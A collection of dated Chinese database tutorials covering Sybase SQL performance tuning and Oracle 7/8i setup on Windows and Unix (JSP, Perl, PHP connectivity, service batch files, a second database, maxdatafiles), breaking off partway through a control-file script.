    人们在使用SQL时往往会陷入一个误区，即太关注于所得的结果是否正确，而忽略了不同的实现方法之间可能存在的性能差异，这种性能差异在大型的或是复杂的数据库环境中（如联机事务处理OLTP或决策支持系统DSS）中表现得尤为明显。笔者在工作实践中发现，不良的SQL往往来自于不恰当的索引设计、不充份的连接条件和不可优化的where子句。在对它们进行适当的优化后，其运行速度有了明显地提高！下面我将从这三个方面分别进行总结：

    为了更直观地说明问题，所有实例中的SQL运行时间均经过测试，不超过１秒的均表示为（< 1秒）。

    测试环境--
    主机：HP LH II
    主频：330MHZ
    内存：128兆
    操作系统：Operserver5.0.4
    数据库：Sybase11.0.3

一、不合理的索引设计

    例：表record有620000行，试看在不同的索引下，下面几个 SQL的运行情况：

    1.在date上建有一非个群集索引

select count(*) from record where date >
'19991201' and date <  '19991214'and amount >
2000 (25秒)
select date,sum(amount) from record group by date
(55秒)
select count(*) from record where date >
'19990901' and place in ('BJ','SH') (27秒)
    分析：

    date上有大量的重复值，在非群集索引下，数据在物理上随机存放在数据页上，在范围查找时，必须执行一次表扫描才能找到这一范围内的全部行。

    2.在date上的一个群集索引

select count(*) from record where date >
'19991201' and date < '19991214' and amount >
2000 （14秒）
select date,sum(amount) from record group by date
（28秒）
select count(*) from record where date >
'19990901' and place in ('BJ','SH')（14秒）
    分析：

    在群集索引下，数据在物理上按顺序在数据页上，重复值也排列在一起，因而在范围查找时，可以先找到这个范围的起末点，且只在这个范围内扫描数据页，避免了大范围扫描，提高了查询速度。

    3.在place，date，amount上的组合索引

select count(*) from record where date >
'19991201' and date < '19991214' and amount >
2000 （26秒）
select date,sum(amount) from record group by date
（27秒）
select count(*) from record where date >
'19990901' and place in ('BJ, 'SH')（< 1秒）
    分析：

    这是一个不很合理的组合索引，因为它的前导列是place，第一和第二条SQL没有引用place，因此也没有利用上索引；第三个SQL使用了place，且引用的所有列都包含在组合索引中，形成了索引覆盖，所以它的速度是非常快的。

    4.在date，place，amount上的组合索引

select count(*) from record where date >
'19991201' and date < '19991214' and amount >
2000(< 1秒)
select date,sum(amount) from record group by date
（11秒）
select count(*) from record where date >
'19990901' and place in ('BJ','SH')（< 1秒）
    分析：

    这是一个合理的组合索引。它将date作为前导列，使每个SQL都可以利用索引，并且在第一和第三个SQL中形成了索引覆盖，因而性能达到了最优。

    5.总结：

    缺省情况下建立的索引是非群集索引，但有时它并不是最佳的；合理的索引设计要建立在对各种查询的分析和预测上。一般来说：

    ①.有大量重复值、且经常有范围查询

（between, >,< ，>=,< =）和order by
、group by发生的列，可考虑建立群集索引；

    ②.经常同时存取多列，且每列都含有重复值可考虑建立组合索引；

    ③.组合索引要尽量使关键查询形成索引覆盖，其前导列一定是使用最频繁的列。

二、不充份的连接条件：

    例：表card有7896行，在card_no上有一个非聚集索引，表account有191122行，在 account_no上有一个非聚集索引，试看在不同的表连接条件下，两个SQL的执行情况：

select sum(a.amount) from account a,
card b where a.card_no = b.card_no（20秒）
    将SQL改为：
select sum(a.amount) from account a,
card b where a.card_no = b.card_no and a.
account_no=b.account_no（< 1秒）
    分析：

    在第一个连接条件下，最佳查询方案是将account作外层表，card作内层表，利用card上的索引，其I/O次数可由以下公式估算为：

    外层表account上的22541页+（外层表account的191122行*内层表card上对应外层表第一行所要查找的3页）=595907次I/O

    在第二个连接条件下，最佳查询方案是将card作外层表，account作内层表，利用account上的索引，其I/O次数可由以下公式估算为：

    外层表card上的1944页+（外层表card的7896行*内层表account上对应外层表每一行所要查找的4页）= 33528次I/O

    可见，只有充份的连接条件，真正的最佳方案才会被执行。

    总结：

    1.多表操作在被实际执行前，查询优化器会根据连接条件，列出几组可能的连接方案并从中找出系统开销最小的最佳方案。连接条件要充份考虑带有索引的表、行数多的表；内外表的选择可由公式：外层表中的匹配行数*内层表中每一次查找的次数确定，乘积最小为最佳方案。

    2.查看执行方案的方法-- 用set showplanon，打开showplan选项，就可以看到连接顺序、使用何种索引的信息；想看更详细的信息，需用sa角色执行dbcc(3604,310,302)。

三、不可优化的where子句

    1.例：下列SQL条件语句中的列都建有恰当的索引，但执行速度却非常慢：

select * from record where
substring(card_no,1,4)='5378'(13秒)
select * from record where
amount/30< 1000（11秒）
select * from record where
convert(char(10),date,112)='19991201'（10秒）
    分析：

    where子句中对列的任何操作结果都是在SQL运行时逐列计算得到的，因此它不得不进行表搜索，而没有使用该列上面的索引；如果这些结果在查询编译时就能得到，那么就可以被SQL优化器优化，使用索引，避免表搜索，因此将SQL重写成下面这样：

select * from record where card_no like
'5378%'（< 1秒）
select * from record where amount
< 1000*30（< 1秒）
select * from record where date= '1999/12/01'
（< 1秒）

    你会发现SQL明显快起来！

    2.例：表stuff有200000行，id_no上有非群集索引，请看下面这个SQL：

select count(*) from stuff where id_no in('0','1')
（23秒）
    分析：

    where条件中的'in'在逻辑上相当于'or'，所以语法分析器会将in ('0','1')转化为id_no ='0' or id_no='1'来执行。我们期望它会根据每个or子句分别查找，再将结果相加，这样可以利用id_no上的索引；但实际上（根据showplan）,它却采用了"OR策略"，即先取出满足每个or子句的行，存入临时数据库的工作表中，再建立唯一索引以去掉重复行，最后从这个临时表中计算结果。因此，实际过程没有利用id_no上索引，并且完成时间还要受tempdb数据库性能的影响。

    实践证明，表的行数越多，工作表的性能就越差，当stuff有620000行时，执行时间竟达到220秒！还不如将or子句分开：

select count(*) from stuff where id_no='0'
select count(*) from stuff where id_no='1'
    得到两个结果，再作一次加法合算。因为每句都使用了索引，执行时间只有3秒，在620000行下，时间也只有4秒。或者，用更好的方法，写一个简单的存储过程：
create proc count_stuff as
declare @a int
declare @b int
declare @c int
declare @d char(10)
begin
select @a=count(*) from stuff where id_no='0'
select @b=count(*) from stuff where id_no='1'
end
select @c=@a+@b
select @d=convert(char(10),@c)
print @d
    直接算出结果，执行时间同上面一样快！

    总结：

    可见，所谓优化即where子句利用了索引，不可优化即发生了表扫描或额外开销。

    1.任何对列的操作都将导致表扫描，它包括数据库函数、计算表达式等等，查询时要尽可能将操作移至等号右边。

    2.in、or子句常会使用工作表，使索引失效；如果不产生大量重复值，可以考虑把子句拆开；拆开的子句中应该包含索引。

    3.要善于使用存储过程，它使SQL变得更加灵活和高效。

    从以上这些例子可以看出，SQL优化的实质就是在结果正确的前提下，用优化器可以识别的语句，充份利用索引，减少表扫描的I/O次数，尽量避免表搜索的发生。其实SQL的性能优化是一个复杂的过程，上述这些只是在应用层次的一种体现，深入研究还会涉及数据库层的资源配置、网络层的流量控制以及操作系统层的总体设计。

返回


Oracle技术网—如何修改 SQL*Plus 的启动参数

位置：首页→Oracle系统设置、优化、连接→

阿木伯 著
如何修改 SQL*Plus 的启动参数？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      1、有时，我们希望每一次连入到SQL*Plus的时候就显示当前的用户名
  • 实现方法：
      SQL*Plus3.3：修改c:\orant\pluss33\glogin.sql

      SQL*Plus8.0：修改c:\orant\pluss80\glogin.sql

      在里面加上show user


Oracle技术网—如何在Windosws 2000中安装JSP并访问Oracle

位置：首页→Oracle系统设置、优化、连接→

【点击：】 阿木伯 著
如何在Windosws 2000中安装JSP并访问Oracle？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 本例使用软件下载地址：
      1、jdk-1_2_2_006-win.exe[19.5MB]
         http://java.sun.com/products/jdk/1.2/
      2、jakarta-tomcat.zip[2.26MB]
         http://jakarta.apache.org/builds/tomcat/release/v3.1/
  • 安装方法：

一、安装JDK

      第一步，双击jdk-1_2_2_006-win.exe文件进行安装，使用缺省配置进行安装
        JDK的缺省安装目录为C:\jdk1.2.2，JRE的缺省安装目录为C:\Program Files\JavaSoft\JRE\1.2；

      第二步，更新环境变量
        开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量－＞系统变量
        追加CLASSPATH： c:\jdk1.2.2\lib\tools.jar;c:\jdk1.2.2\lib\dt.jar;
        追加PATH：　　　c:\jdk1.2.2;c:\jdk1.2.2\bin;

二、安装Tomcat

      第一步，用WinZIP把jakarta-tomcat.zip解压缩到c:\jakarta-tomcat目录下

      第二步，进入c:\jakarta-tomca\bin目录，找到startup.bat批处理文件，打开编辑
        在行:start后面加上以下两行：
        SET TOMCAT_HOME=c:\jakarta-tomcat
        SET JAVA_HOME=c:\jdk1.2.2

      第三步，双击startup.bat启动tomcat服务器
        这时，屏幕上会出现一个dos窗口，停止不动，并有一些运行成功tomcat和初始化信息，
        证明tomcat运行成功。

      第四步，在浏览器上输入http://localhost:8080/
        如果能看到Tomcat Version 3.1这一页就表示Tomcat安装成功了。
        上面有一些jsp和servlet的例子，至此jsp环境搭建完成。

注：上面那个停止不动的DOS窗口不能关掉，否则tomcat服务器停止服务

注：JSP文件第一次运行比较慢

三、第一个JSP例子
给这个程序取名为test.jsp，放到c:\jakarta-tomcat\webapps\examples目录下
浏览器中输入http://localhost:8080/examples/test.jsp

<%
String Str = "Hello JSP!";
out.print("Hello JSP!");
%>
<h2><%=Str%></h2>

四、写第一个连接Oracle的JSP程序test.jsp

1、连入SQL*Plus
以system/manager用户登录，
SQL> conn system/manager

创建新的用户：如user1/pass1，赋予connect,resource权限。
SQL> grant connect,resource to user1 identified by pass1;

SQL> conn user1/pass1
SQL> create table test(a number,b char(10));
SQL> insert into test values(1,'一');
SQL> insert into test values(2,'二');
SQL> insert into test values(3,'三');
SQL> commit;

SQL> select * from test;

         A B
---------- ----------
         1 一
         2 二
         3 三

2、配置ODBC（在服务器端设置）

开始－＞设置－＞控制面板－＞管理工具－＞数据源 (ODBC)－＞系统DSN－＞添加－＞
选择“Oracle ODBC Driver”－＞完成－＞

Data Source Name：test　　　名字随便取，好记就行，如：test
Service Name：oradb　　　　 Oracle主机字符串：本例：oradb
UserID：user1　　　　　　　 Oracle用户名，本例：user1

tnsnames.ora文件中

ORADB =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 192.1.1.1)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = oradb)
    )
  )

按“OK”－＞按“确定”退出

3、在c:\jakarta-tomcat\webapps\examples下创建test.jsp，用notebook编辑，输入以下代码

<!--首先导入一些必要的packages-->
<%@ page info="database handler"%>
<%@ page import="java.io.*"%>
<%@ page import="java.util.*"%>

<!--告诉编译器使用SQL包-->
<%@ page import="java.sql.*"%>

<%@ page import="javax.servlet.*"%>
<%@ page import="javax.servlet.http.*"%>

<%
//以try开始
try
{
Connection con;
Statement stmt;
ResultSet rs;

//加载驱动程序，下面的代码为加载JDBD-ODBC驱动程序
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");

//用适当的驱动程序连接到数据库，test"是系统dsn名
String url="jdbc:odbc:test";

//建立连接，类似于ASP中的创建数据库联接
con=DriverManager.getConnection(url, "user1", "pass1");

//创建一个JDBC声明
stmt = con.createStatement();

//增加新记录
stmt.executeUpdate("INSERT INTO test (a,b) VALUES (1,'2')");

//查询记录
rs = stmt.executeQuery("SELECT a,b from test");

//输出查询结果
out.println("<table border=1 width=400>");
while (rs.next())
{
String col1 = rs.getString(1);
String col2 = rs.getString(2);
//打印所显示的数据
out.println("<tr><td>"+col1+" </td><td>"+col2+" </td></tr>");
}
out.println("</table>");
}

//如果加载时出错，给出相应的错误信息
catch (Exception e) {}
%>

4、打开一个浏览器窗口，输入以下地址来查看运行结果
http://localhost:8080/examples/test.jsp


Oracle技术网—如何在Windosws 2000中安装perl并访问Oracle

位置：首页→Oracle系统设置、优化、连接→

【点击：】 阿木伯 著
如何在Windosws 2000中安装perl并访问Oracle？

  • 系统环境：
      1、操作系统：Windows 2000 Server
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 本例使用软件下载地址：
      ActivePerl-5.6.0.620-MSWin32-x86-multi-thread.msi[8.22MB]
      http://activestate.com/download/ActivePerl/Windows/5.6/ActivePerl-5.6.0.620-MSWin32-x86-multi-thread.msi
  • 安装方法：

一、安装 Perl 解释器

      第一步，双击 ActivePerl-5.6.0.620-MSWin32-x86-multi-thread.msi 文件进行安装，使用缺省配置进行安装
        安装目录选择c:\perl；

      第二步，修改注册表，运行 RegEdit
        1、定位－＞HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Script Map
        2、新建字符串：名称：".pl" <——>数据："c:\perl\bin\perl.exe %s %s"
        3、新建字符串：名称：".cgi"<——>数据："c:\perl\bin\perl.exe %s %s"

      第三步，设置 IIS 服务器
        开始－＞设置－＞控制面板－＞管理工具－＞Internet 服务管理器－＞默认Web站点－＞
        鼠标右键－＞属性－＞主目录－＞配置－＞添加－＞
        可执行文件（X）：“C:\Perl\bin\Perl.exe %s %s”－＞扩展名（E）：“.pl”－＞
        确定－＞确定－＞确定－＞

        默认Web站点－＞鼠标右键－＞新建－＞虚拟目录－＞下一步－＞别名（perl）－＞
        目录选择（c:\perl\）－＞添加读取、运行脚本、执行权限－＞下一步－＞完成－＞

注：ActivePerl-5.6.0.620-MSWin32-x86-multi-thread.msi安装完，才能使用ppm命令

注：Perl通过DBI/DBD客户接口提供对DB2、Oracle、Sybase、Informix、Mysql...等数据库的访问

二、安装 Perl 连接数据库的模块，先安DBI，后安Oracle接口模块

首先，拨号或通过专线连接到Internet上

C:\>ppm
PPM interactive shell (2.1.1) - type 'help' for available commands.
PPM>
PPM> install dbi
Install package 'dbi?' (y/N): y
Retrieving package 'dbi'...
Installing C:\Perl\site\lib\auto\DBI\dbd_xsh.h
Installing C:\Perl\site\lib\auto\DBI\DBI.bs
Installing C:\Perl\site\lib\auto\DBI\DBI.dll
Installing C:\Perl\site\lib\auto\DBI\DBI.exp
Installing C:\Perl\site\lib\auto\DBI\DBI.lib
Installing C:\Perl\site\lib\auto\DBI\dbipport.h
Installing C:\Perl\site\lib\auto\DBI\DBIXS.h
Installing C:\Perl\site\lib\auto\DBI\dbi_sql.h
Installing C:\Perl\site\lib\auto\DBI\Driver.xst
Installing C:\Perl\site\lib\DBI.pm
Installing C:\Perl\site\lib\Win32\DBIODBC.pm
Installing C:\Perl\site\lib\DBI\DBD.pm
Installing C:\Perl\site\lib\DBI\FAQ.pm
Installing C:\Perl\site\lib\DBI\Format.pm
Installing C:\Perl\site\lib\DBI\ProxyServer.pm
Installing C:\Perl\site\lib\DBI\Shell.pm
Installing C:\Perl\site\lib\DBI\W32ODBC.pm
Installing C:\Perl\site\lib\DBD\ADO.pm
Installing C:\Perl\site\lib\DBD\ExampleP.pm
Installing C:\Perl\site\lib\DBD\Multiplex.pm
Installing C:\Perl\site\lib\DBD\NullP.pm
Installing C:\Perl\site\lib\DBD\Proxy.pm
Installing C:\Perl\site\lib\DBD\Sponge.pm
Installing C:\Perl\site\lib\Bundle\DBI.pm
Installing C:\Perl\bin\dbiproxy
Installing C:\Perl\bin\dbiproxy.bat
Installing C:\Perl\bin\dbish
Installing C:\Perl\bin\dbish.bat
Writing C:\Perl\site\lib\auto\DBI\.packlist
PPM>
PPM> install dbd-oracle
Install package 'dbd-oracle?' (y/N): y
Retrieving package 'dbd-oracle'...
Installing C:\Perl\site\lib\auto\DBD\Oracle\Oracle.bs
Installing C:\Perl\site\lib\auto\DBD\Oracle\Oracle.dll
Installing C:\Perl\site\lib\auto\DBD\Oracle\Oracle.exp
Installing C:\Perl\site\lib\auto\DBD\Oracle\Oracle.lib
Installing C:\Perl\site\lib\oraperl.ph
Installing C:\Perl\site\lib\Oraperl.pm
Installing C:\Perl\site\lib\DBD\Oracle.pm
Installing C:\Perl\bin\ora_explain
Installing C:\Perl\bin\ora_explain.bat
Writing C:\Perl\site\lib\auto\DBD\Oracle\.packlist
PPM>
PPM> install dbd-oracle8
Install package 'dbd-oracle8?' (y/N): y
Retrieving package 'dbd-oracle8'...
Installing C:\Perl\site\lib\auto\DBD\Oracle\Oracle.dll
Installing C:\Perl\site\lib\auto\DBD\Oracle\Oracle.exp
Installing C:\Perl\site\lib\auto\DBD\Oracle\Oracle.lib
Installing C:\Perl\site\lib\oraperl.ph
Installing C:\Perl\site\lib\Oraperl.pm
Installing C:\Perl\site\lib\DBD\Oracle.pm
Writing C:\Perl\site\lib\auto\DBD\Oracle8\.packlist
PPM>
PPM> exit
Quit！

C:\>

如果在家中不能上网，可以到Activestate下载各种模块，

网址是：http://www.activestate.com/PPMPackages/

PPM命令的解释
E:\>ppm
PPM interactive shell (2.1.1) - type 'help' for available commands.
PPM> help
Commands:
    exit              - leave the program.
    help [command]    - prints this screen, or help on 'command'.
    install PACKAGES  - installs specified PACKAGES.
    quit              - leave the program.
    query [options]   - query information about installed packages.
    remove PACKAGES   - removes the specified PACKAGES from the system.
    search [options]  - search information about available packages.
    set [options]     - set/display current options.
    verify [options]  - verifies current install is up to date.
    version           - displays PPM version number

exit　　　　　　　　--退出PPM程序
help　　　　　　　　--显示PPM帮助
install PACKAGES　　--安装模块，PACKAGES为模块名
quit　　　　　　　　--同exit，退出PPM程序
query [options]　　 --查询当前已安装模块，不加参数：查询所有已安装模块
remove PACKAGES　　 --卸载已安装模块
search [options]　　--查询可供安装的模块，在ActivePerl的站点上
set [options]　　　 --
verify [options]　　--
version　　　　　　 --显示PPM版本号

三、第一个Perl例子
给这个程序取名为test.pl，放到c:\perl\目录下
浏览器中输入http://oradb/perl/test.pl

#-------------------------------------
#!/perl/bin/perl
  print "Content-type:text/html\n\n";
  print "hellp Perl！";
exit;
#-------------------------------------

四、写第一个连接Oracle的Perl程序test.pl

1、连入SQL*Plus
以system/manager用户登录，
SQL> conn system/manager

创建新的用户：如user1/pass1，赋予connect,resource权限。
SQL> grant connect,resource to user1 identified by pass1;

SQL> conn user1/pass1
SQL> create table test(a varchar2(20),b date);
SQL> insert into test values('原有值',sysdate);
SQL> insert into test values('原有值',sysdate);
SQL> insert into test values('原有值',sysdate);
SQL> commit;

SQL> select a,to_char(b,'yyyy-mm-dd hh24:mi:ss') 日期 from test;

A                    日期
-------------------- -------------------
原有值               2000-11-26 00:04:47
原有值               2000-11-26 00:04:47
原有值               2000-11-26 00:04:48

2、在c:\perl下创建test.pl，用notebook编辑，输入以下代码

#-------------------------------------
#!/perl/bin/perl
print "Content-type:text/html\n\n";

#引用格式：“use 模块名”
use DBI;

my $dbh = DBI->connect("dbi:Oracle:oradb", 'user1','pass1');
my $sql = qq{ insert into test values('网页生成值',sysdate)};
my $sth = $dbh->prepare( $sql );
$sth->execute();
$dbh->disconnect();

print "新记录已生成，请用SQL*Plus重新查询！";
exit;
#-------------------------------------

注：dbi:Oracle:oradb中的oradb是Oracle数据库的实例名，使用时，请更换成你自己的实例名

3、打开一个浏览器窗口，输入以下地址来查看运行结果
http://oradb/perl/test.pl

注：oradb为本机计算机名

4、进入SQL*Plus，重新查询测试表test，查看新记录是否生成成功

SQL> conn user1/pass1
SQL> select a,to_char(b,'yyyy-mm-dd hh24:mi:ss') 日期 from test;

A                    日期
-------------------- -------------------
原有值               2000-11-26 00:04:47
原有值               2000-11-26 00:04:47
原有值               2000-11-26 00:04:48
网页生成值           2000-11-26 00:15:45
网页生成值           2000-11-26 00:15:58
网页生成值           2000-11-26 00:16:15
网页生成值           2000-11-26 00:16:28

经验证，新记录生成成功。


Oracle技术网—如何在Windosws 2000中安装PHP4并访问Oracle

位置：首页→Oracle系统设置、优化、连接→

【点击：】 阿木伯 著
如何在Windosws 2000中安装PHP4并访问Oracle？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 方法：

1、安装PHP4

      第一步，解开php-4.0.3-Win32.zip（3.39MB）压缩包，把它放在C:\PHP下面。

      第二步，把C:\PHP下面的php.ini-optimized文件复制到C:\WINNT目录下，并改名成php.ini。

修改php.ini文件：
extension_dir = e:\php
extension=php_oci8.dll
extension=php_oracle.dll
去掉前两项前面的“;”号
[browscap]
browscap = c:\php\browscap\browscap.ini
去掉browscap项前面的“;”号

      第三步，把C:\PHP\php4ts.dll复制到C:\WINNT\system32目录下。

      第四步，启动IIS管理程序。

开始—设置—控制面板—管理工具—Internet服务管理器
在“默认Web站点”上点鼠标右键，选属性，这时系统弹出“默认Web站点属性”窗口：

应用程序名输入c:\php\php.exe %s %s
点击配置：

点击添加：

      第五步，在“默认Web站点属性”窗口上点取“ISAPI筛选器”标签，点击“添加”按钮，
在弹出的“筛选器属性”窗口的“筛选器名称”中输入“PHP”，
“可执行文件”中输入“C:\php\sapi\php4isapi.dll”，确定。

      第六步，REGEDIT，启动注册表编辑器
找到：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Script Map。
新建一字符串：输入名称.php

      第七步，回到命令行窗口，输入“net stop iisadmin”命令，终止IIS服务。系统会问你是否要将相关的服务也停止，答是。

      第八步，输入“net start w3svc”命令，重新启动IIS服务。

      第九步，把c:\php\extensions下的php_oci8.dll、php_oracle.dll两个文件拷贝到c:\php下

1、写第一个连接Oracle的代码test.php
SQL> conn system/manager
SQL> create table test(a number,b char(10));
SQL> insert into test values(1,'一');
SQL> insert into test values(2,'二');
SQL> insert into test values(3,'三');
SQL> select * from test;

         A B
---------- ----------
         1 一
         2 二
         3 三

<?php
$handle=ora_plogon("system","manager") or die;　　　　　//创建连接oracle的句柄
$cursor = ora_open($handle);　　　　　　　　　　　　　　//打开它并赋给一个游标
$query = "SELECT * FROM test";　　　　　　　　　　　　　//定义一个查询
ora_parse($cursor, $query) or die;　　　　　　　　　　　//把这个查询赋给游标
ora_exec($cursor);　　　　　　　　　　　　　　　　　　　//运行游标，也即运行这个查询，之后$cursor中存着查询结果
echo  "<HTML><table border=1>\n";　　　　　　　　　　　 //生成表头[HTML中]
$numcols = 0;　　　　　　　　　　　　　　　　　　　　　 //定义列数变量
while(ora_fetch($cursor)) {　　　　　　　　　　　　　　 //取得传回资料的一列，如果能取出，则一直循环取
    echo  "<tr>";　　　　　　　　　　　　　　　　　　　 //生成列头[HTML中]
    $numcols = ora_numcols($cursor);　　　　　　　　　　//取得列的数目
    for ($column=0; $column < $numcols; $column++) {　　//循环取行
        $data = trim(ora_getcolumn($cursor, $column));　//传回一列资料，$cursor中的第$column列
        if($data ==  "") $data = "NULL";　　　　　　　　//如果取出的当前列为空，以“NULL”字符串代替它
        echo  "<td>$data\t </td>";
    }
    echo  "</tr>";　　　　　　　　　　　　　　　　　　　//生成列尾[HTML中]
}
echo  "</table></HTML>\n";　　　　　　　　　　　　　　　//生成表尾[HTML中]
ora_close($cursor);　　　　　　　　　　　　　　　　　　 //关闭游标
?>


Oracle技术网—如何在Windosws NT中使用批处理命令自动启动或关闭Oracle Services

位置：首页→Oracle系统设置、优化、连接→

阿木伯 著
如何在Windosws NT中使用批处理命令自动启动或关闭Oracle Services？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      1、有时，我们希望在桌面上放置一个“批命令”，用来快速的开启、关闭Oracle数据库：
  • 实现方法：
      1、新建一个文本文件，输入以下内容
      2、把此文本文件另存为“bat”文件，即“启动.bat”或“关闭.bat”，保存类型为“所有文件（*.*）”
      3、以后在要想快速启动或关闭数据库时，点击相应批文件即可。

      启动命令
      net start "OracleServiceORCL"
      net start "OracleStartORCL"
      net start "OracleTNSListener80"
      net start "OracleWWWListener80"

      关闭命令
      net stop "OracleStartORCL"
      net stop "OracleServiceORCL"
      net stop "OracleTNSListener80"
      net stop "OracleWWWListener80"


Oracle技术网—如何在客户端省略输入数据库串，而只输入用户名、密码即可

位置：首页→Oracle系统设置、优化、连接→

阿木伯 著
如何在客户端省略输入数据库串，而只输入用户名、密码即可？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      1、客户端在用“SQL Net Easy Configuration”成功配置数据库别名（如server1）后，在客户端每次连接数据库时，都要键入数据库别名，给用户造成了一定的不便，我们可以通过以下方法来解决：
  • 实现方法：
      1、选择“开始”按钮，启动“运行”图标，键入Regedit，进行注册表编辑。
      2、定位到：HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE
      3、注册表编辑器”选单上选取“编辑→新建→串值(S)”项，将新建的串值名改为local，键值为server1
      注：server1即数据库串


Oracle技术网—使用Database Configuration Assistant安装第二个数据库

位置：首页→Oracle系统设置、优化、连接→

【点击：】 阿木伯 著
使用Database Configuration Assistant安装第二个数据库

  • 系统环境：
      1、操作系统：Windows 2000 Server
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：E:\ORACLE
      4、系统内存：256MB
  • 安装方法：

默认安装完Oracle 816 for NT后，想安装第二个Oracle数据库，
开始→程序→Oracle - OraHome81→Database Administration→Database Configuration Assistant

这时系统出现以下画面一

稍等一会，出现画面二

选择“创建数据库”，单击“下一步(N)”，出现画面三

选择“定制”，（只有这个，才能选择较大的数据库块）单击“下一步(N)”，出现画面四

选择“联机事物处理（OLTP）”，（为了测试多用户的并发性能）单击“下一步(N)”，出现画面五

输入系统可能达到的最大用户数，（默认为15，本例添100）单击“下一步(N)”，出现画面六

选择“共享服务模式”，（为了测试多用户性能）单击“下一步(N)”，出现画面七

选择“希望在数据库中配置使用的选项”，（默认全部选择）单击“下一步(N)”，出现画面八

输入全局数据库名，输入时，“SID”和“初始化文件名”自动跟着变化，（本例输入oradb2）
单击“下一步(N)”，出现画面九

单击“下一步(N)”，出现画面十

其他表空间画面：工具、用户、回退、索引、临时、InterMedia

单击“下一步(N)”，出现画面十一

修改重做日志信息，单击“下一步(N)”，出现画面十二

起用归档日志（默认不选择），单击“下一步(N)”，出现画面十三

单击“下一步(N)”，出现画面十四

单击“下一步(N)”，出现画面十五

选择块大小为16KB（默认为4KB），单击“下一步(N)”，出现画面十六

单击“下一步(N)”，出现画面十七

选择“开始创建数据库”，单击“完成”，出现画面十八

出现提示“需要一定的时间，是否继续”，单击“是”，数据库正式开始创建，出现画面十九

耗时将近2个小时后，数据库创建完成，出现画面二十

创建完成，显示一些数据库基本信息，包括：
全局数据库名：oradb2
数据库系统标识符（SID）：oradb2
SYS帐户口令：change_on_install
SYSTEM帐户口令：manager
单击“确定”，退出“Database Configuration Assistant”程序。

安装完第二个数据库后，在“管理工具”的“服务”里，会出现新建库的启动选项

开始→设置→控制面板→管理工具→服务

安装完第二个数据库后，在E:\Oracle\Ora81\network\ADMIN\tnsnames.ora文件中，会出现以下代码

ORADB2 =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = oradb)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = oradb2)
    )
  )

(HOST = oradb)中的oradb为本机的计算机名

使用SQL*Plus工具连接第二个数据库

开始→程序→Oracle - OraHome81→Application Development→SQL Plus

连接进SQL*Plus后，使用以下语句查看数据库信息

安装第二个数据库oradb2时因起用了归档日志，所以E:\Oracle\oradata\oradb2\archive目录下
会出现类似于ORADB2T001S01079.ARC这样的文件，它们记载了数据库中的所有历史操作步骤及数据，
用于在数据库出现故障时恢复用，这些文件会一直增长下去，每个为1MB，直到所在硬盘空间占满为止。


Oracle技术网—修改Oracle7数据库maxdatafiles参数的方法

修改ORACLE7数据库maxdatafiles参数的方法

摘自：软件世界
2000/04/13

    在安装ORACLE7时，一般对maxdatafiles（数据文件的最大个数）参数值不加修改或未意识到对 其修改，而使用其默认值（往往比需要值要小）。但随着数据量的增多,需要不断地往表空间内增加数据文件,但是maxd atafiles的值限定了数据文件的最大个数，数据文件个数增加到最大值后，若再继续追加，就会导致“数据文件个数 超过了最大值”的错误，以至后边的数据无法存入。

    数据文件的最大个数因操作系统的不同而不同，但是，现在运行着的ORACLE7数据库中，数据文件的最大个数 可以达到1000个以上，即maxdatafiles的参数值可设为1000或更大，远远大于其安装时的默认值（本系 统安装时的默认值为30），如果遇到了“数据文件个数超过了最大值”的问题时，可通过修改maxdatafiles参 数来解决，下面就介绍一下具体的修改方法：

    1.实验环境

    ALPHA8200服务器，操作系统Digial UNIX V3.2C，Oracle7.2数据库。

    2.准备工作

    启动ORACLE数据库，进行下列操作：

    $sqldba mode=line(回车)

    SQLDBA>connect internal(回车)

    SQLDBA>alter database backup controlfile to trace;( 回车)

    SQLDBA>show parameter user_dump_dest(回车)

    可以看到trace文件“ora_3044.trc”在/volora/oracle/rdbms/log目 录下。

    将trace文件/volora/oracle/rdbms/log/ora_3044.trc拷贝成 df ileadd.sql。

    用vi编辑dfileadd.sql文件，修改maxdatafiles参数（由原来的30改为300）。

    Dfileadd.sql文件如下：

    Dump file/volora/oracle/rdbms/log/ora_3044.trc

    Oracle7 Server Release7.2.2.3.0 with the64-bit opti on- Production Release

    With the distributed and parallel query options

    PL/SQL Release2.2.2.3.0- Production

    ORACLE_HOME=/volora/oracle

    ORACLE_SID= ora72

    Oracle process number:8 Unix process id:3044

    System name: OSF1

    Node name: slserver.sl.cnpc.co.cn

    Release: V3.2

    Version:148

    Machine: alpha

    Wed Apr2315:54:281997

    Wed Apr2315:54:281997

    *** SESSION ID:(9.1455)1997.04.23.15.54.28.359

    # The following commands will create a new control file and use it

    # to open the database.

    # No data other than log history will be lost. Addi tional logs may

    # be required for media recovery of offline data fi les. Use this

    # only if the current version of all online logs ar e available.

    STARTUP NOMOUNT

    CREATE CONTROLFILE REUSE DATABASE"ORA72" NORESETLOG S NOARCHIVELOG

    MAXLOGFILES32

    MAXLOGMEMBERS2

    MAXDATAFILES300

    MAXINSTANCES8

    MAXLOGHISTORY800

    LOGFILE

